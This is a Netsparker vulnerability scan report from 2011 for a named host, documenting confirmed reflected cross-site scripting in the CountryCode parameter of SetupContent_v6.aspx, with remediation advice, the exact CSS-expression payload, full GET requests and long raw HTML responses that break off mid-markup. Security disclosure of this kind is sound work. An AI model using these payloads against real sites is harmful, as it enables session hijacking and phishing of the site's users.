aserve.directorym.com, XSS, CWE-79 REPORT SUMMARY
Loading
Netsparker - Scan Report Summary
TARGET URL
http://aserve.directorym.com/SetupContent_v6....
SCAN DATE
3/3/2011 4:59:47 PM
REPORT DATE
3/3/2011 5:38:31 PM
SCAN DURATION
00:01:33
Total Requests
Average Speed
req/sec.
5
identified
3
confirmed
0
critical
1
informational
GHDB, DORK Tests
GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Cross-site Scripting
Authentication
Scheduled
VULNERABILITIES
Vulnerabilities
Cross-site Scripting
Cross-site Scripting
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (
Javascript, VbScript ) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.
XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.
Impact
There are many different attacks that can be leveraged through the use of XSS, including:
Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.
The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.
Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.
There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.
External References
- /SetupContent_v6.aspx
/SetupContent_v6.aspx
CONFIRMED
Parameters
Parameter
Type
Value
CountryCode
GET
" stYle="x:expre/**/ssion(alert(9))
Request
GET /SetupContent_v6.aspx?CountryCode=%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1 Referer: http://aserve.directorym.com/SetupContent_v6.aspx User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: aserve.directorym.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: CP="NOI CURa ADMa DEVa TAIa PSAa PSDa CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Content-Encoding: Content-Length: 8582 Cache-Control: private, max-age=82540 Date: Thu, 03 Mar 2011 23:00:44 GMT Connection: keep-alive <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>nSphere - Content Module Setup (v6)</title> <meta name="robots" content="noindex,nofollow" /> <script type="text/javascript"> function Defaults() { document.setup.i_dm_size.value = '300x250'; document.setup.i_dm_size_x.value = ''; document.setup.i_dm_size_y.value = ''; document.setup.i_dm_color_border.value = '000000'; document.setup.i_dm_color_title.value = '000000'; document.setup.i_dm_color_links.value = '336699'; document.setup.i_dm_color_hover.value = 'FF3300'; PrintCode(); } function showColor(val, target, name) { target.value = val; document.getElementById('colorPickerOff' + name).style.visibility = 'visible'; document.getElementById('colorPickerOn' + name).style.display = 'none'; PrintCode(); } function PrintCode() { var Code = ''; var Css = ''; var lSize = document.setup.i_dm_size.value; if (document.setup.i_dm_size_x.value != '' && document.setup.i_dm_size_y.value != '' && !isNaN(document.setup.i_dm_size_x.value) && !isNaN(document.setup.i_dm_size_y.value)) lSize = document.setup.i_dm_size_x.value + 'x' + document.setup.i_dm_size_y.value; var H = parseInt(lSize.substring(lSize.indexOf("x") + 1)); var W = parseInt(lSize.substring(0, lSize.indexOf("x"))); Code = "<style type=\"text/css\">\r\n"; Css += ".dmcontent_container {\r\n"; Css += " margin-top: 0;\r\n"; Css += " margin-right: 0;\r\n"; Css += " border: 1px solid #" + document.setup.i_dm_color_border.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: " + H + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_title {\r\n"; Css += " text-align: left;\r\n"; Css += " font: bold 12px/18px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_title.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: 20px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body {"; Css += " line-height: 16px;\r\n"; Css += " float: left;\r\n"; Css += " overflow-y: auto;\r\n"; Css += " text-align: left;\r\n"; Css += " margin-right: auto;\r\n"; Css += " width: " + (W - 2) + "px;\r\n"; Css += " height: " + (H - 21) + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body a:hover {"; Css += " text-decoration: none;"; Css += " color: #" + document.setup.i_dm_color_hover.value + ";\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_link {"; Css += " text-decoration: none;\r\n"; Css += " font: 11px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_links.value + ";\r\n"; Css += "}\r\n\r\n"; Code += Css; Code += "</style>\r\n"; Code += "<div class=\"dmcontent_container\">\r\n"; Code += "<div class=\"dmcontent_title\"> "; Code += document.setup.i_dm_title.value; Code += "</div>\r\n"; Code += "<div class=\"dmcontent_body\">\r\n"; for (i=0; i < document.setup.elements.length; i++) { if (document.setup.elements[i].checked != null && document.setup.elements[i].checked == 1) Code += " " + document.setup.elements[i].value + "<br />\r\n"; } Code += "</div>\r\n"; Code += "</div>\r\n"; document.setup.i_code.value = Code; addCss(Css); // add css seperately for IE PreviewModule(); } function PreviewModule() { var lModule = document.getElementById("frmModule"); var lModuleSub = lModule.childNodes[0]; if (lModuleSub != null) { lModule.removeChild(lModuleSub); lModuleSub = null; } lModuleSub = document.createElement("frmModuleSub"); lModuleSub.innerHTML = document.setup.i_code.value; lModule.appendChild(lModuleSub); } function addCss(cssCode) { styleElement = document.createElement("style"); styleElement.type = "text/css"; if (styleElement.styleSheet) { styleElement.styleSheet.cssText = cssCode; } else { styleElement.appendChild(document.createTextNode(cssCode)); } document.getElementsByTagName("head")[0].appendChild(styleElement); } function TrueFalseYesNo(Input) { if (Input) return ("yes"); else return ("no"); } function ClearAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 0; } function CheckAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 1; } </script> </head> <body style="font-family: Arial, Sans-Serif;" onload="PrintCode()"> <h1>Setup your nSphere Content Module (v6)</h1> <form name="setup"> <div style="width:50%;float: left;"> <h2>Control the display</h2> <table> <tr><td>Format:</td><td> <select name="i_dm_size" onchange="PrintCode();"> <optgroup id="Optgroup1" Label="Vertical"> <option value="160x600">160 x 600 (Wide Skyscraper)</option> <option value="120x600">120 x 600 (Skyscraper)</option> <option value="120x240">120 x 240 (Vertical Banner)</option> <option value="300x600">300 x 600 (Half Page Ad)</option> </optgroup> <optgroup id="Optgroup2" Label="Rectangle"> <option value="336x280">336 x 280 (Large Rectangle)</option> <option value="300x250" selected>300 x 250 (Medium Rectangle)</option> <option value="240x400">240 x 400 (Vertical Rectangle)</option> <option value="250x250">250 x 250 (Square)</option> <option value="200x200">200 x 200 (Small Square)</option> <option value="180x150">180 x 150 (Small Rectangle)</option> </optgroup> </select> </td></tr> <tr><td>Custom Size:</td><td> <input type="text" name="i_dm_size_x" value="" onchange="PrintCode();" /> x <input type="text" name="i_dm_size_y" value="" onchange="PrintCode();" /> </td></tr> <tr><td>Border:</td><td><input type="text" name="i_dm_color_border" value="000000" onchange="PrintCode();" /><span id="colorPickerOffi_dm_color_border" onclick="this.style.visibility = 'hidden'; document.getElementById('colorPickerOni_dm_color_border').style.display = 'block';"><img src="Images/ColorPallete.gif" alt="Choose colors" /></span><span id="colorPickerOni_dm_color_border" style="display: none"><map name="colmapi_dm_color_border"><area shape="rect" coords="1,1,7,10" href="javascript:showColor('00FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,1,15,10" href="javascript:showColor('00FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,1,23,10" href="javascript:showColor('00FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,1,31,10" href="javascript:showColor('00FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,1,39,10" href="javascript:showColor('00FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,1,47,10" href="javascript:showColor('00FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,1,55,10" href="javascript:showColor('33FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,1,63,10" href="javascript:showColor('33FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,1,71,10" href="javascript:showColor('33FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,1,79,10" href="javascript:showColor('33FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,1,87,10" href="javascript:showColor('33FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,1,95,10" href="javascript:showColor('33FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,1,103,10" href="javascript:showColor('66FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,1,111,10" href="javascript:showColor('66FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,1,119,10" href="javascript:showColor('66FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,1,127,10" href="javascript:showColor('66FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,1,135,10" href="javascript:showColor('66FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,1,143,10" href="javascript:showColor('66FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,1,151,10" href="javascript:showColor('99FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,1,159,10" href="javascript:showColor('99FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,1,167,10" href="javascript:showColor('99FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,1,175,10" href="javascript:showColor('99FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,1,183,10" href="javascript:showColor('99FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,1,191,10" href="javascript:showColor('99FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,1,199,10" href="javascript:showColor('CCFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="201,1,207,10" href="javascript:showColor('CCFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="209,1,215,10" href="javascript:showColor('CCFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="217,1,223,10" href="javascript:showColor('CCFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="225,1,231,10" href="javascript:showColor('CCFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="233,1,239,10" href="javascript:showColor('CCFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="241,1,247,10" href="javascript:showColor('FFFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="249,1,255,10" href="javascript:showColor('FFFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="257,1,263,10" href="javascript:showColor('FFFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="265,1,271,10" href="javascript:showColor('FFFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="273,1,279,10" href="javascript:showColor('FFFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="281,1,287,10" href="javascript:showColor('FFFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="1,12,7,21" href="javascript:showColor('00CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,12,15,21" href="javascript:showColor('00CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,12,23,21" href="javascript:showColor('00CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,12,31,21" href="javascript:showColor('00CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,12,39,21" href="javascript:showColor('00CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,12,47,21" href="javascript:showColor('00CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,12,55,21" href="javascript:showColor('33CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,12,63,21" href="javascript:showColor('33CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,12,71,21" href="javascript:showColor('33CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,12,79,21" href="javascript:showColor('33CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,12,87,21" href="javascript:showColor('33CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,12,95,21" href="javascript:showColor('33CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,12,103,21" href="javascript:showColor('66CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,12,111,21" href="javascript:showColor('66CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,12,119,21" href="javascript:showColor('66CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,12,127,21" href="javascript:showColor('66CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,12,135,21" href="javascript:showColor('66CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,12,143,21" href="javascript:showColor('66CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,12,151,21" href="javascript:showColor('99CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,12,159,21" href="javascript:showColor('99CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,12,167,21" href="javascript:showColor('99CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,12,175,21" href="javascript:showColor('99CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,12,183,21" href="javascript:showColor('99CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,12,191,21" href="javascript:showColor('99CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,12,199,21" href="javascript:showColor('CCCC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rec..
- /SetupContent_v6.aspx
/SetupContent_v6.aspx
CONFIRMED
Parameters
Parameter
Type
Value
SiteId
GET
1
RegionStyle
GET
Default Regions
CountryCode
GET
" stYle="x:expre/**/ssion(alert(9))
Request
GET /SetupContent_v6.aspx?SiteId=1&RegionStyle=Default+Regions&CountryCode=%22%20stYle=%22x:expre/**/ssion(netsparker(9)) HTTP/1.1 Referer: http://aserve.directorym.com/SetupContent_v6.aspx User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322) Cache-Control: no-cache Host: aserve.directorym.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: CP="NOI CURa ADMa DEVa TAIa PSAa PSDa CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM" X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Vary: Accept-Encoding Content-Encoding: Content-Length: 8582 Cache-Control: private, max-age=82756 Date: Thu, 03 Mar 2011 23:01:00 GMT Connection: keep-alive <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head> <title>nSphere - Content Module Setup (v6)</title> <meta name="robots" content="noindex,nofollow" /> <script type="text/javascript"> function Defaults() { document.setup.i_dm_size.value = '300x250'; document.setup.i_dm_size_x.value = ''; document.setup.i_dm_size_y.value = ''; document.setup.i_dm_color_border.value = '000000'; document.setup.i_dm_color_title.value = '000000'; document.setup.i_dm_color_links.value = '336699'; document.setup.i_dm_color_hover.value = 'FF3300'; PrintCode(); } function showColor(val, target, name) { target.value = val; document.getElementById('colorPickerOff' + name).style.visibility = 'visible'; document.getElementById('colorPickerOn' + name).style.display = 'none'; PrintCode(); } function PrintCode() { var Code = ''; var Css = ''; var lSize = document.setup.i_dm_size.value; if (document.setup.i_dm_size_x.value != '' && document.setup.i_dm_size_y.value != '' && !isNaN(document.setup.i_dm_size_x.value) && !isNaN(document.setup.i_dm_size_y.value)) lSize = document.setup.i_dm_size_x.value + 'x' + document.setup.i_dm_size_y.value; var H = parseInt(lSize.substring(lSize.indexOf("x") + 1)); var W = parseInt(lSize.substring(0, lSize.indexOf("x"))); Code = "<style type=\"text/css\">\r\n"; Css += ".dmcontent_container {\r\n"; Css += " margin-top: 0;\r\n"; Css += " margin-right: 0;\r\n"; Css += " border: 1px solid #" + document.setup.i_dm_color_border.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: " + H + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_title {\r\n"; Css += " text-align: left;\r\n"; Css += " font: bold 12px/18px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_title.value + ";\r\n"; Css += " width: " + W + "px;\r\n"; Css += " height: 20px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body {"; Css += " line-height: 16px;\r\n"; Css += " float: left;\r\n"; Css += " overflow-y: auto;\r\n"; Css += " text-align: left;\r\n"; Css += " margin-right: auto;\r\n"; Css += " width: " + (W - 2) + "px;\r\n"; Css += " height: " + (H - 21) + "px;\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_body a:hover {"; Css += " text-decoration: none;"; Css += " color: #" + document.setup.i_dm_color_hover.value + ";\r\n"; Css += "}\r\n\r\n"; Css += ".dmcontent_link {"; Css += " text-decoration: none;\r\n"; Css += " font: 11px Verdana, Arial, Helvetica, sans-serif;\r\n"; Css += " color: #" + document.setup.i_dm_color_links.value + ";\r\n"; Css += "}\r\n\r\n"; Code += Css; Code += "</style>\r\n"; Code += "<div class=\"dmcontent_container\">\r\n"; Code += "<div class=\"dmcontent_title\"> "; Code += document.setup.i_dm_title.value; Code += "</div>\r\n"; Code += "<div class=\"dmcontent_body\">\r\n"; for (i=0; i < document.setup.elements.length; i++) { if (document.setup.elements[i].checked != null && document.setup.elements[i].checked == 1) Code += " " + document.setup.elements[i].value + "<br />\r\n"; } Code += "</div>\r\n"; Code += "</div>\r\n"; document.setup.i_code.value = Code; addCss(Css); // add css seperately for IE PreviewModule(); } function PreviewModule() { var lModule = document.getElementById("frmModule"); var lModuleSub = lModule.childNodes[0]; if (lModuleSub != null) { lModule.removeChild(lModuleSub); lModuleSub = null; } lModuleSub = document.createElement("frmModuleSub"); lModuleSub.innerHTML = document.setup.i_code.value; lModule.appendChild(lModuleSub); } function addCss(cssCode) { styleElement = document.createElement("style"); styleElement.type = "text/css"; if (styleElement.styleSheet) { styleElement.styleSheet.cssText = cssCode; } else { styleElement.appendChild(document.createTextNode(cssCode)); } document.getElementsByTagName("head")[0].appendChild(styleElement); } function TrueFalseYesNo(Input) { if (Input) return ("yes"); else return ("no"); } function ClearAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 0; } function CheckAll(){ for (i=0; i < document.setup.elements.length; i++) document.setup.elements[i].checked = 1; } </script> </head> <body style="font-family: Arial, Sans-Serif;" onload="PrintCode()"> <h1>Setup your nSphere Content Module (v6)</h1> <form name="setup"> <div style="width:50%;float: left;"> <h2>Control the display</h2> <table> <tr><td>Format:</td><td> <select name="i_dm_size" onchange="PrintCode();"> <optgroup id="Optgroup1" Label="Vertical"> <option value="160x600">160 x 600 (Wide Skyscraper)</option> <option value="120x600">120 x 600 (Skyscraper)</option> <option value="120x240">120 x 240 (Vertical Banner)</option> <option value="300x600">300 x 600 (Half Page Ad)</option> </optgroup> <optgroup id="Optgroup2" Label="Rectangle"> <option value="336x280">336 x 280 (Large Rectangle)</option> <option value="300x250" selected>300 x 250 (Medium Rectangle)</option> <option value="240x400">240 x 400 (Vertical Rectangle)</option> <option value="250x250">250 x 250 (Square)</option> <option value="200x200">200 x 200 (Small Square)</option> <option value="180x150">180 x 150 (Small Rectangle)</option> </optgroup> </select> </td></tr> <tr><td>Custom Size:</td><td> <input type="text" name="i_dm_size_x" value="" onchange="PrintCode();" /> x <input type="text" name="i_dm_size_y" value="" onchange="PrintCode();" /> </td></tr> <tr><td>Border:</td><td><input type="text" name="i_dm_color_border" value="000000" onchange="PrintCode();" /><span id="colorPickerOffi_dm_color_border" onclick="this.style.visibility = 'hidden'; document.getElementById('colorPickerOni_dm_color_border').style.display = 'block';"><img src="Images/ColorPallete.gif" alt="Choose colors" /></span><span id="colorPickerOni_dm_color_border" style="display: none"><map name="colmapi_dm_color_border"><area shape="rect" coords="1,1,7,10" href="javascript:showColor('00FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,1,15,10" href="javascript:showColor('00FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,1,23,10" href="javascript:showColor('00FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,1,31,10" href="javascript:showColor('00FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,1,39,10" href="javascript:showColor('00FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,1,47,10" href="javascript:showColor('00FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,1,55,10" href="javascript:showColor('33FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,1,63,10" href="javascript:showColor('33FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,1,71,10" href="javascript:showColor('33FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,1,79,10" href="javascript:showColor('33FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,1,87,10" href="javascript:showColor('33FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,1,95,10" href="javascript:showColor('33FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,1,103,10" href="javascript:showColor('66FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,1,111,10" href="javascript:showColor('66FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,1,119,10" href="javascript:showColor('66FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,1,127,10" href="javascript:showColor('66FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,1,135,10" href="javascript:showColor('66FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,1,143,10" href="javascript:showColor('66FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,1,151,10" href="javascript:showColor('99FF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,1,159,10" href="javascript:showColor('99FF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,1,167,10" href="javascript:showColor('99FF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,1,175,10" href="javascript:showColor('99FF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,1,183,10" href="javascript:showColor('99FFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,1,191,10" href="javascript:showColor('99FFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,1,199,10" href="javascript:showColor('CCFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="201,1,207,10" href="javascript:showColor('CCFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="209,1,215,10" href="javascript:showColor('CCFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="217,1,223,10" href="javascript:showColor('CCFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="225,1,231,10" href="javascript:showColor('CCFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="233,1,239,10" href="javascript:showColor('CCFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="241,1,247,10" href="javascript:showColor('FFFF00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="249,1,255,10" href="javascript:showColor('FFFF33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="257,1,263,10" href="javascript:showColor('FFFF66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="265,1,271,10" href="javascript:showColor('FFFF99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="273,1,279,10" href="javascript:showColor('FFFFCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="281,1,287,10" href="javascript:showColor('FFFFFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="1,12,7,21" href="javascript:showColor('00CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="9,12,15,21" href="javascript:showColor('00CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="17,12,23,21" href="javascript:showColor('00CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="25,12,31,21" href="javascript:showColor('00CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="33,12,39,21" href="javascript:showColor('00CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="41,12,47,21" href="javascript:showColor('00CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="49,12,55,21" href="javascript:showColor('33CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="57,12,63,21" href="javascript:showColor('33CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="65,12,71,21" href="javascript:showColor('33CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="73,12,79,21" href="javascript:showColor('33CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="81,12,87,21" href="javascript:showColor('33CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="89,12,95,21" href="javascript:showColor('33CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="97,12,103,21" href="javascript:showColor('66CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="105,12,111,21" href="javascript:showColor('66CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="113,12,119,21" href="javascript:showColor('66CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="121,12,127,21" href="javascript:showColor('66CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="129,12,135,21" href="javascript:showColor('66CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="137,12,143,21" href="javascript:showColor('66CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="145,12,151,21" href="javascript:showColor('99CC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="153,12,159,21" href="javascript:showColor('99CC33', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="161,12,167,21" href="javascript:showColor('99CC66', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="169,12,175,21" href="javascript:showColor('99CC99', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="177,12,183,21" href="javascript:showColor('99CCCC', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="185,12,191,21" href="javascript:showColor('99CCFF', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rect" coords="193,12,199,21" href="javascript:showColor('CCCC00', document.setup.i_dm_color_border, 'i_dm_color_border')"><area shape="rec..
- /SetupContent_v6.aspx
/SetupContent_v6.aspx
CONFIRMED
Parameters
Parameter
Type
Value
SiteId
GET
364
CountryCode
GET
" stYle="x:expre/**/ssion(alert(9))
Request
